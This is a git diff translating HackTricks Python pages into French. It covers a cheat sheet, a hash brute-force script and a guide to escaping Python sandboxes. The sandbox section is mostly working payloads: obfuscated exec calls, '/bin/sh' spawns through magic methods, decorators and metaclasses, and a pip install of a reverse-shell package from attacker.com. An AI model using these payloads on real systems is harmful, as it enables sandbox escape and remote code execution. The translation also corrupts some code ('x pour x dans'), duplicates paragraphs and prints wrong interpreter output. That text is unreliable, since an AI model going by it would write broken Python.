False, True] -**zip** stops when the shorter of foo or bar stops: - +**zip** s'arrête lorsque le plus court entre foo ou bar s'arrête : ``` for f, b in zip(foo, bar): print(f, b) ``` - -**Lambda** is used to define a function\ -(lambda x,y: x+y)(5,3) = 8 --> Use lambda as simple **function**\ -**sorted**(range(-5,6), key=lambda x: x\*\* 2) = \[0, -1, 1, -2, 2, -3, 3, -4, 4, -5, 5] --> Use lambda to sort a list\ -m = **filter**(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) = \[3, 6, 9] --> Use lambda to filter\ +**Lambda** est utilisé pour définir une fonction\ +(lambda x,y: x+y)(5,3) = 8 --> Utilisez lambda comme une **fonction** simple\ +**sorted**(range(-5,6), key=lambda x: x\*\* 2) = \[0, -1, 1, -2, 2, -3, 3, -4, 4, -5, 5] --> Utilisez lambda pour trier une liste\ +m = **filter**(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) = \[3, 6, 9] --> Utilisez lambda pour filtrer\ **reduce** (lambda x,y: x\*y, \[1,2,3,4]) = 24 - ``` def make_adder(n): return lambda x: x+n @@ -208,11 +201,9 @@ class Car: crash = lambda self: print('Boom!') my_car = Car(); my_car.crash() = 'Boom!' ``` - -mult1 = \[x for x in \[1, 2, 3, 4, 5, 6, 7, 8, 9] if x%3 == 0 ] +mult1 = \[x pour x dans \[1, 2, 3, 4, 5, 6, 7, 8, 9] si x%3 == 0 ] ### Exceptions - ``` def divide(x,y): try: @@ -226,82 +217,76 @@ def divide(x,y): finally print “executing finally clause in any case” ``` - ### Assert() -If the condition is false the string will be printed in the screen - +Si la condition est fausse, la chaîne de caractères sera affichée à l'écran. ``` def avg(grades, weights): assert not len(grades) == 0, 'no grades data' assert len(grades) == 'wrong number grades' ``` +### Générateurs, yield -### Generators, yield - -A generator, instead of returning something, it "yields" something. When you access it, it will "return" the first value generated, then, you can access it again and it will return the next value generated. So, all the values are not generated at the same time and a lot of memory could be saved using this instead of a list with all the values. - +Un générateur, au lieu de retourner quelque chose, "yield" quelque chose. Lorsque vous y accédez, il "retourne" la première valeur générée, puis vous pouvez y accéder à nouveau et il retournera la valeur suivante générée. Ainsi, toutes les valeurs ne sont pas générées en même temps et beaucoup de mémoire peuvent être économisées en utilisant cela au lieu d'une liste avec toutes les valeurs. ``` def myGen(n): yield n yield n + 1 ``` - g = myGen(6) --> 6\ next(g) --> 7\ -next(g) --> Error +next(g) --> Erreur -### Regular Expresions +### Expressions régulières import re\ re.search("\w","hola").group() = "h"\ re.findall("\w","hola") = \['h', 'o', 'l', 'a']\ re.findall("\w+(la)","hola caracola") = \['la', 'la'] -**Special meanings:**\ -. --> Everything\ +**Significations spéciales:**\ +. --> Tout\ \w --> \[a-zA-Z0-9\_]\ -\d --> Number\ -\s --> WhiteSpace char\[ \n\r\t\f]\ -\S --> Non-whitespace char\ -^ --> Starts with\ -$ --> Ends with\ -\+ --> One or more\ -\* --> 0 or more\ -? --> 0 or 1 occurrences +\d --> Nombre\ +\s --> Caractère d'espace blanc\[ \n\r\t\f]\ +\S --> Caractère non-blanc\ +^ --> Commence par\ +$ --> Se termine par\ +\+ --> Un ou plusieurs\ +\* --> 0 ou plusieurs\ +? --> 0 ou 1 occurrence **Options:**\ re.search(pat,str,re.IGNORECASE)\ IGNORECASE\ -DOTALL --> Allow dot to match newline\ -MULTILINE --> Allow ^ and $ to match in different lines +DOTALL --> Permet au point de correspondre à une nouvelle ligne\ +MULTILINE --> Permet à ^ et $ de correspondre sur différentes lignes re.findall("<.\*>", "\foo\and\so on\") = \['\foo\and\so on\']\ re.findall("<.\*?>", "\foo\and\so on\") = \['\', '\', '\', '\'] IterTools\ **product**\ -from **itertools** import product --> Generates combinations between 1 or more lists, perhaps repeating values, cartesian product (distributive property)\ +from **itertools** import product --> Génère des combinaisons entre 1 ou plusieurs listes, peut-être en répétant des valeurs, produit cartésien (propriété distributive)\ print list(**product**(\[1,2,3],\[3,4])) = \[(1, 3), (1, 4), (2, 3), (2, 4), (3, 3), (3, 4)]\ print list(**product**(\[1,2,3],repeat = 2)) = \[(1, 1), (1, 2), (1, 3), (2, 1), (2, 2), (2, 3), (3, 1), (3, 2), (3, 3)] **permutations**\ -from **itertools** import **permutations** --> Generates combinations of all characters in every position\ -print list(permutations(\['1','2','3'])) = \[('1', '2', '3'), ('1', '3', '2'), ('2', '1', '3'),... Every posible combination\ -print(list(permutations('123',2))) = \[('1', '2'), ('1', '3'), ('2', '1'), ('2', '3'), ('3', '1'), ('3', '2')] Every possible combination of length 2 +from **itertools** import **permutations** --> Génère des combinaisons de tous les caractères dans chaque position\ +print list(permutations(\['1','2','3'])) = \[('1', '2', '3'), ('1', '3', '2'), ('2', '1', '3'),... Toutes les combinaisons possibles\ +print(list(permutations('123',2))) = \[('1', '2'), ('1', '3'), ('2', '1'), ('2', '3'), ('3', '1'), ('3', '2')] Toutes les combinaisons possibles de longueur 2 **combinations**\ -from itertools import **combinations** --> Generates all possible combinations without repeating characters (if "ab" existing, doesn't generate "ba")\ +from itertools import **combinations** --> Génère toutes les combinaisons possibles sans caractères répétés (si "ab" existe, ne génère pas "ba")\ print(list(**combinations**('123',2))) --> \[('1', '2'), ('1', '3'), ('2', '3')] **combinations\_with\_replacement**\ -from itertools import **combinations\_with\_replacement** --> Generates all possible combinations from the char onwards(for example, the 3rd is mixed from the 3rd onwards but not with the 2nd o first)\ +from itertools import **combinations\_with\_replacement** --> Génère toutes les combinaisons possibles à partir du caractère suivant (par exemple, le 3ème est mélangé à partir du 3ème mais pas avec le 2ème ou le 1er)\ print(list(**combinations\_with\_replacement**('1133',2))) = \[('1', '1'), ('1', '1'), ('1', '3'), ('1', '3'), ('1', '1'), ('1', '3'), ('1', '3'), ('3', '3'), ('3', '3'), ('3', '3')] -### Decorators - -Decorator that size the time that a function needs to be executed (from [here](https://towardsdatascience.com/decorating-functions-in-python-619cbbe82c74)): +### Décorateurs +Décorateur qui mesure le temps nécessaire à l'exécution d'une fonction (à partir de [ici](https://towardsdatascience.com/decorating-functions-in-python-619cbbe82c74)): ```python from functools import wraps import time @@ -319,27 +304,24 @@ def timeme(func): def decorated_func(): print("Decorated func!") ``` - -If you run it, you will see something like the following: - +Si vous l'exécutez, vous verrez quelque chose comme ceci : ``` Let's call our decorated function Decorated func! Execution time: 4.792213439941406e-05 seconds ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md b/generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md index d64205abf..0acee47b5 100644 --- a/generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md +++ b/generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md @@ -1,22 +1,18 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - ```python import hashlib @@ -67,23 +63,18 @@ def main(): main() ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index 8f035ce23..6cfb487c1 100644 --- a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -1,10 +1,9 @@ -# Bypass Python sandboxes +# Contourner les sandbox Python ![](<../../../.gitbook/assets/image (9) (1) (2).png>) -\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,20 +11,19 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). -These are some tricks to bypass python sandbox protections and execute arbitrary commands. +Voici quelques astuces pour contourner les protections de sandbox Python et exécuter des commandes arbitraires. -## Command Execution Libraries - -The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries: +## Bibliothèques d'exécution de commandes +La première chose que vous devez savoir est si vous pouvez exécuter directement du code avec une bibliothèque déjà importée, ou si vous pouvez importer l'une de ces bibliothèques : ```python os.system("ls") os.popen("ls").read() @@ -58,25 +56,23 @@ open('/var/www/html/input', 'w').write('123') execfile('/usr/lib/python2.7/os.py') system('ls') ``` - -Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox. +N'oubliez pas que les fonctions _**open**_ et _**read**_ peuvent être utiles pour **lire des fichiers** à l'intérieur du sandbox python et pour **écrire du code** que vous pourriez **exécuter** pour **contourner** le sandbox. {% hint style="danger" %} -**Python2 input()** function allows executing python code before the program crashes. +La fonction **Python2 input()** permet d'exécuter du code python avant que le programme ne plante. {% endhint %} -Python try to **load libraries from the current directory first** (the following command will print where is python loading modules from): `python3 -c 'import sys; print(sys.path)'` +Python essaie de **charger les bibliothèques depuis le répertoire courant en premier** (la commande suivante affichera où python charge les modules à partir de): `python3 -c 'import sys; print(sys.path)'` ![](<../../../.gitbook/assets/image (552).png>) -## Bypass pickle sandbox with the default installed python packages +## Contourner le sandbox pickle avec les packages python installés par défaut -### Default packages - -You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ -Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system.\ -For example, the following pickle, when loaded, is going to import the pip library to use it: +### Paquets par défaut +Vous pouvez trouver une **liste de packages pré-installés** ici: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ +Notez que depuis un pickle, vous pouvez faire en sorte que l'environnement python **importe des bibliothèques arbitraires** installées dans le système.\ +Par exemple, le pickle suivant, lorsqu'il est chargé, va importer la bibliothèque pip pour l'utiliser: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it @@ -89,36 +85,32 @@ class P(object): print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` +Pour plus d'informations sur le fonctionnement de pickle, consultez ce lien: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) -For more information about how pickle works check this: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) +### Package Pip -### Pip package - -Trick shared by **@isHaacK** - -If you have access to `pip` or `pip.main()` you can install an arbitrary package and obtain a reverse shell calling: +Astuce partagée par **@isHaacK** +Si vous avez accès à `pip` ou `pip.main()`, vous pouvez installer un package arbitraire et obtenir un shell inversé en appelant: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` - -You can download the package to create the reverse shell here. Please, note that before using it you should **decompress it, change the `setup.py`, and put your IP for the reverse shell**: +Vous pouvez télécharger le package pour créer le shell inversé ici. Veuillez noter qu'avant de l'utiliser, vous devez **le décompresser, changer le fichier `setup.py` et mettre votre adresse IP pour le shell inversé** : {% file src="../../../.gitbook/assets/reverse.tar.gz" %} {% hint style="info" %} -This package is called `Reverse`. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave. +Ce package s'appelle `Reverse`. Cependant, il a été spécialement conçu pour que lorsque vous quittez le shell inversé, le reste de l'installation échoue, de sorte que vous **ne laisserez aucun package python supplémentaire installé sur le serveur** lorsque vous partez. {% endhint %} -## Eval-ing python code +## Évaluation de code python {% hint style="warning" %} -Note that exec allows multiline strings and ";", but eval doesn't (check walrus operator) +Notez que `exec` permet les chaînes multilignes et ";", mais pas `eval` (vérifiez l'opérateur walrus) {% endhint %} -If certain characters are forbidden you can use the **hex/octal/B64** representation to **bypass** the restriction: - +Si certains caractères sont interdits, vous pouvez utiliser la représentation **hexadécimale/octale/B64** pour **contourner** la restriction : ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -139,9 +131,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` - -### Other libraries that allow to eval python code - +### Autres bibliothèques permettant d'évaluer du code Python ```python #Pandas import pandas as pd @@ -155,9 +145,111 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") # Like: df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") ``` +## Opérateurs et astuces courtes -## Operators and short tricks +### Logical operators +### Opérateurs logiques + +#### `and` and `or` + +#### `et` et `ou` + +`and` and `or` are short-circuit operators. This means that if the first operand is enough to determine the result of the operation, the second operand is not evaluated. + +`and` et `or` sont des opérateurs à court-circuit. Cela signifie que si le premier opérande est suffisant pour déterminer le résultat de l'opération, le deuxième opérande n'est pas évalué. + +```python +>>> True or print("Hello") +True +>>> False and print("Hello") +False +``` + +#### `not` + +#### `non` + +`not` is a unary operator that returns the opposite boolean value of its operand. + +`not` est un opérateur unaire qui renvoie la valeur booléenne opposée de son opérande. + +```python +>>> not True +False +>>> not False +True +``` + +### Bitwise operators + +### Opérateurs bit à bit + +#### `&`, `|`, `^` + +`&`, `|`, and `^` are the bitwise AND, OR, and XOR operators, respectively. + +`&`, `|` et `^` sont respectivement les opérateurs ET, OU et XOR bit à bit. + +```python +>>> 0b1010 & 0b1100 +0b1000 +>>> 0b1010 | 0b1100 +0b1110 +>>> 0b1010 ^ 0b1100 +0b0110 +``` + +#### `~` + +`~` is the bitwise NOT operator. It returns the complement of its operand. + +`~` est l'opérateur NOT bit à bit. Il renvoie le complément de son opérande. + +```python +>>> ~0b1010 +-11 +``` + +### Comparison operators + +### Opérateurs de comparaison + +#### `is` and `is not` + +#### `est` et `n'est pas` + +`is` and `is not` are identity operators. They check if two objects are the same object. + +`is` et `is not` sont des opérateurs d'identité. Ils vérifient si deux objets sont le même objet. + +```python +>>> a = [1, 2, 3] +>>> b = a +>>> c = [1, 2, 3] +>>> a is b +True +>>> a is c +False +>>> a is not c +True +``` + +#### `in` and `not in` + +#### `dans` et `pas dans` + +`in` and `not in` are membership operators. They check if a value is or is not in a sequence. + +`in` et `not in` sont des opérateurs d'appartenance. Ils vérifient si une valeur est ou n'est pas dans une séquence. + +```python +>>> a = [1, 2, 3] +>>> 2 in a +True +>>> 4 not in a +True +``` ```python # walrus operator allows generating variable inside a list ## everything will be executed in order @@ -166,11 +258,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval'] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ``` +## Contournement des protections via les encodages (UTF-7) -## Bypassing protections through encodings (UTF-7) - -In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 is used to load and execute arbitrary python code inside an apparent sandbox: - +Dans [**ce compte-rendu**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy), l'UTF-7 est utilisé pour charger et exécuter du code Python arbitraire à l'intérieur d'un sandbox apparent : ```python assert b"+AAo-".decode("utf_7") == "\n" @@ -181,15 +271,13 @@ def f(x): #+AAo-print(open("/flag.txt").read()) """.lstrip() ``` +Il est également possible de le contourner en utilisant d'autres encodages, par exemple `raw_unicode_escape` et `unicode_escape`. -It is also possible to bypass it using other encodings, e.g. `raw_unicode_escape` and `unicode_escape`. +## Exécution de Python sans appels -## Python execution without calls - -If you are inside a python jail that **doesn't allow you to make calls**, there are still some ways to **execute arbitrary functions, code** and **commands**. - -### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator) +Si vous êtes dans une prison Python qui **ne vous permet pas de faire des appels**, il existe encore des moyens d'**exécuter des fonctions, du code** et des **commandes** arbitraires. +### RCE avec [décorateurs](https://docs.python.org/fr/3/glossary.html#term-decorator) ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @@ -211,15 +299,13 @@ X = exec(X) @'__import__("os").system("sh")'.format class _:pass ``` +### RCE en créant des objets et en surchargeant -### RCE creating objects and overloading +Si vous pouvez **déclarer une classe** et **créer un objet** de cette classe, vous pouvez **écrire/écraser différentes méthodes** qui peuvent être **déclenchées** **sans** **avoir besoin de les appeler directement**. -If you can **declare a class** and **create an object** of that class you could **write/overwrite different methods** that can be **triggered** **without** **needing to call them directly**. - -#### RCE with custom classes - -You can modify some **class methods** (_by overwriting existing class methods or creating a new class_) to make them **execute arbitrary code** when **triggered** without calling them directly. +#### RCE avec des classes personnalisées +Vous pouvez modifier certaines **méthodes de classe** (_en écrasant les méthodes de classe existantes ou en créant une nouvelle classe_) pour les faire **exécuter un code arbitraire** lorsqu'elles sont **déclenchées** sans les appeler directement. ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -269,11 +355,9 @@ __iand__ (k = 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")') ``` +#### Création d'objets avec [méta-classes](https://docs.python.org/3/reference/datamodel.html#metaclasses) -#### Crating objects with [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) - -The key thing that metaclasses allow us to do is **make an instance of a class, without calling the constructor** directly, by creating a new class with the target class as a metaclass. - +La chose clé que les méta-classes nous permettent de faire est de **créer une instance d'une classe, sans appeler directement le constructeur**, en créant une nouvelle classe avec la classe cible comme méta-classe. ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -288,11 +372,9 @@ Sub['import os; os.system("sh")'] ## You can also use the tricks from the previous section to get RCE with this object ``` +#### Création d'objets avec des exceptions -#### Creating objects with exceptions - -When an **exception is triggered** an object of the **Exception** is **created** without you needing to call the constructor directly (a trick from [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)): - +Lorsqu'une **exception est déclenchée**, un objet de la classe **Exception** est **créé** sans que vous ayez besoin d'appeler directement le constructeur (une astuce de [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)): ```python class RCE(Exception): def __init__(self): @@ -312,9 +394,7 @@ except Klecko as k: ## You can also use the tricks from the previous section to get RCE with this object ``` - -### More RCE - +### Plus de RCE ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ # If sys is imported, you can sys.excepthook and trigger it by triggering an error @@ -336,9 +416,7 @@ class X(): __builtins__.__import__ = X {}[1337] ``` - -### Read file with builtins help & license - +### Lire un fichier avec l'aide de builtins et la licence ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help @@ -347,36 +425,31 @@ a.__class__.__exit__ = lambda self, *args: None with (a as b): pass ``` - ![](<../../../.gitbook/assets/image (9) (1) (2).png>) -\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Builtins -* [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html) -* [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html) - -If you can access the **`__builtins__`** object you can import libraries (notice that you could also use here other string representation shown in the last section): +* [**Fonctions intégrées de python2**](https://docs.python.org/2/library/functions.html) +* [**Fonctions intégrées de python3**](https://docs.python.org/3/library/functions.html) +Si vous pouvez accéder à l'objet **`__builtins__`**, vous pouvez importer des bibliothèques (remarquez que vous pourriez également utiliser ici une autre représentation de chaîne montrée dans la dernière section) : ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` +### Pas de Builtins -### No Builtins +Lorsque vous n'avez pas `__builtins__`, vous ne pourrez pas importer quoi que ce soit ni même lire ou écrire des fichiers car **toutes les fonctions globales** (comme `open`, `import`, `print`...) **ne sont pas chargées**.\ +Cependant, **par défaut, Python importe beaucoup de modules en mémoire**. Ces modules peuvent sembler bénins, mais certains d'entre eux **importent également des fonctionnalités dangereuses** à l'intérieur d'eux qui peuvent être accessibles pour obtenir même une **exécution de code 